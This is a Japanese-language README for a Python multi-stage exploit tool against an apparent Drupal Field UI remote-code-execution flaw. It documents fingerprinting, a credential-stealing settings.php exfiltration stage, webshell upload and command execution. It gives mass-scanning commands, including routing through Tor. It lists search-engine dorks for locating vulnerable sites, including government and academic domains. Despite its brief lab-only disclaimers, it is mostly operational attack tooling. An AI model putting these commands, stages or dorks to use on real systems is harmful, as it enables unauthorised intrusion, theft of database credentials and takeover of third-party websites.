CVE-2026-108097(Drupal Field UI #region_callback RCE)向けのPython3マルチステージエクスプロイタ:フィンガープリント、シンクプローブ、呼び出し可能オブジェクトのリーク、settings.phpの窃取、およびwebshellによるRCE。
CVE-2026-108097 (Drupal core Field UI
#region_callback RCE、SA-CORE-2026-014) のロジックをマルチステージパイプラインとして実装した Python3 ツール:
detect → writer find → sink probe → callable leak → file disclosure → RCE
ターゲットはファイル .txt から読み込まれます(1行に1つのURL)。出力:
output/rce.txt — RCE confirmed ステージに到達したターゲットのみを含む単一ファイルで、
evidence(shell URL、command、output)を完全に含みます。detect/sink/exfil のみのターゲットは
ファイルを一切書き込みません。ターゲットごとの JSON、
_settings.phpアーティファクト、または多段階のvulnerable.txtはありません。 書き込まれるのはrce.txtのみで、RCE confirmed が存在する場合に限られます。
このツールは、あなたが許可を得ている環境でのみ実行してください: 自身が所有する Drupal ラボ、
CTF、または書面による許可を得たペネトレーションテスト。CVE-2026-108097 は Drupal <= 11.4.9 の
すべてのインストールに sink を持ちますが、実際のエクスプロイトには、HTTP アクターが影響を与えられる
#region_callback 行を持つ field_ui_table を公開する contrib/custom モジュールが必要です。
公式アドバイザリは特定のモジュールを名指ししていません — ファイル payloads/writers.json は
generic/placeholder パターンでシードされています。あなたのラボ環境に合わせて調整してください。
Sink(FieldUiTable.php:72、<= 11.4.9):
$region_name = call_user_func_array($row['#region_callback'], [&$row]);
配列 #region_callback は検証なしで PHP callable として扱われます。
パッチ 11.4.10 でこの行は削除されました。
チェーン(Fortbridge の deep dive に準拠):
field_ui_table を公開し、HTTP アクターが影響を与えられる
#region_callback 行を持つ。print_r)→ 行 + nonce を漏洩。System::cat が settings.php を公開ファイルディレクトリへコピー → GET で窃取(DB 認証情報、hash_salt)。.htaccess をバイパス(サブディレクトリ RewriteEngine On が親の継承を断ち切る)
system() で実行。pip3 install -r requirements.txt
対象ファイルを自分で作成し(1行に1つのURL)、実行します:
python3 cve_2026_108097.py -i targets.txt --stage all --threads 5 --out output/
またはカスタムターゲットファイルを使用します:
python3 cve_2026_108097.py -i my_targets.txt --stage all --threads 10 --out out/
python3 cve_2026_108097.py -i targets.txt --stage detect --threads 20
#region_callback が到達可能であることを確認、エクスプロイトなし)python3 cve_2026_108097.py -i targets.txt --stage sink --threads 10
print_r リーク行 + nonce)python3 cve_2026_108097.py -i targets.txt --stage leak
settings.php を窃取、シェルアップロードなし)python3 cve_2026_108097.py -i targets.txt --stage exfil --threads 5
python3 cve_2026_108097.py -i targets.txt --stage rce --cmd "whoami; id; uname -a; hostname"
python3 cve_2026_108097.py -i targets.txt --stage rce --shell-name x.php
python3 cve_2026_108097.py -i targets.txt --stage all --writer-path /admin/structure/display-modes/form/ajax
python3 cve_2026_108097.py -i targets.txt --stage all --proxy http://127.0.0.1:8080 --no-verify
pip3 install "requests[socks]"
python3 cve_2026_108097.py -i targets.txt --stage all --proxy socks5h://127.0.0.1:9050
python3 cve_2026_108097.py -i big_list.txt --stage detect --threads 30 --timeout 5
curl -s "https://example.com/targets-api" | tr ' ' '\n' > live_targets.txt
python3 cve_2026_108097.py -i live_targets.txt --stage all
python3 cve_2026_108097.py -i targets.txt --stage all
grep -oE 'http[s]?://[^ ]+' output/rce.txt > rce_urls.txt
# rce_urls.txt siap dipakai tool lain
| フラグ | デフォルト | 説明 |
|---|---|---|
-i / --input | targets.txt | ターゲットファイル (1行に1つのURL、# = コメント) |
--out | output | 出力ディレクトリ (ファイル rce.txt がここに書き込まれる) |
--threads | 5 | ワーカースレッド数 |
--timeout | 10 | HTTPタイムアウト (秒) |
--proxy | - | プロキシ http/https/socks5 (socks5にはrequests[socks]が必要) |
--no-verify | off | TLS検証をスキップ |
--stage | all | detect | sink | leak | exfil | rce | all — パイプラインをどのステージまで実行するか |
--writer-path | - | writerエンドポイントを上書き (自動検出をスキップ) |
--shell-name | random | webshellのファイル名 |
--cmd | id | RCEステージ用のコマンド |
detect — Drupalのフィンガープリント + バージョン + Field UIの後に停止。sink — #region_callback が到達可能であることの確認後に停止。leak — ステージ1を実行 (print_r 経由のcallableリーク)。exfil — ステージ1 + 2を実行 (ファイル開示 settings.php)。rce / all — RCEまでのフルチェーンを実行。output/rce.txt — RCEが確認されたターゲットが存在する場合のみ書き込まれる。内容の例:
# CVE-2026-108097 RCE confirmed — generated 2026-10-20T16:50:00Z
# total: 2
[1] http://drupal-lab.local
shell : http://drupal-lab.local/sites/default/files/_cve_a1b2/_e5f6.php
cmd : id
output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
[2] http://target2.example.com
shell : http://target2.example.com/sites/default/files/_cve_x9y8/_z7w6.php
cmd : id
output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCEが確認されなかった場合、ファイル rce.txt は書き込まれません。stdout には引き続き、すべてのターゲットのサマリーテーブル(URL、Drupal、version、FieldUI、Affected、Sink、Stage)が出力されます。
CVE-2026-108097 の影響を受ける可能性がある Drupal ターゲットの検索を絞り込むための FOFA Dork です。バージョン / モジュールのフィルターと組み合わせることで、より正確な結果が得られます。
body="name=\"Generator\" content=\"Drupal"
header="X-Generator: Drupal"
body="misc/drupal.js" || body="/core/misc/drupal.js"
body="Drupal.settings" || body="drupal.js"
Drupal 11.x(11.4.10 / 11.3.19 より前が脆弱):
body="content=\"Drupal 11"
header="X-Generator: Drupal 11"
Drupal 10.x(10.6.19 より前のバージョンで脆弱):
body="content=\"Drupal 10"
header="X-Generator: Drupal 10"
body="field-ui-table" || body="field_ui_table"
body="/admin/reports/fields" && body="Drupal"
body="/admin/structure/display-modes" && body="Drupal"
body="Drupal 11.4" && body="CHANGELOG.txt"
icon_hash="0" && body="/core/CHANGELOG.txt"
body="Drupal 11.4.9" || body="Drupal 11.4.8" || body="Drupal 11.4.7"
body="Drupal 10.6.18" || body="Drupal 10.6.17" || body="Drupal 10.6.16"
icon_hash="-2028424325"
(Drupalのデフォルトfaviconハッシュ — FOFAのアイコン検索で確認・更新)
body="content=\"Drupal 11" && host=".go.id"
body="content=\"Drupal 11" && host=".ac.id"
header="X-Generator: Drupal" && host=".go.id"
body="hash_salt" && body="settings.php"
body="\"name\": \"drupal/core\"" && body="composer.json"
.txt にエクスポートします(1行に1つのURL)。python3 cve_2026_108097.py -i fofa_targets.txt --stage all --threads 5 --out output/
icon_hash Drupalのデフォルトはメジャーバージョン間で変わる可能性がある — 一括使用の前に
FOFAのアイコン検索で検証すること。.go.id / .ac.id)はスコープの例にすぎない — スキャンするのは
許可されたターゲットのみ(自身のラボ / CTF / 書面による許可を得たペネトレーションテスト)。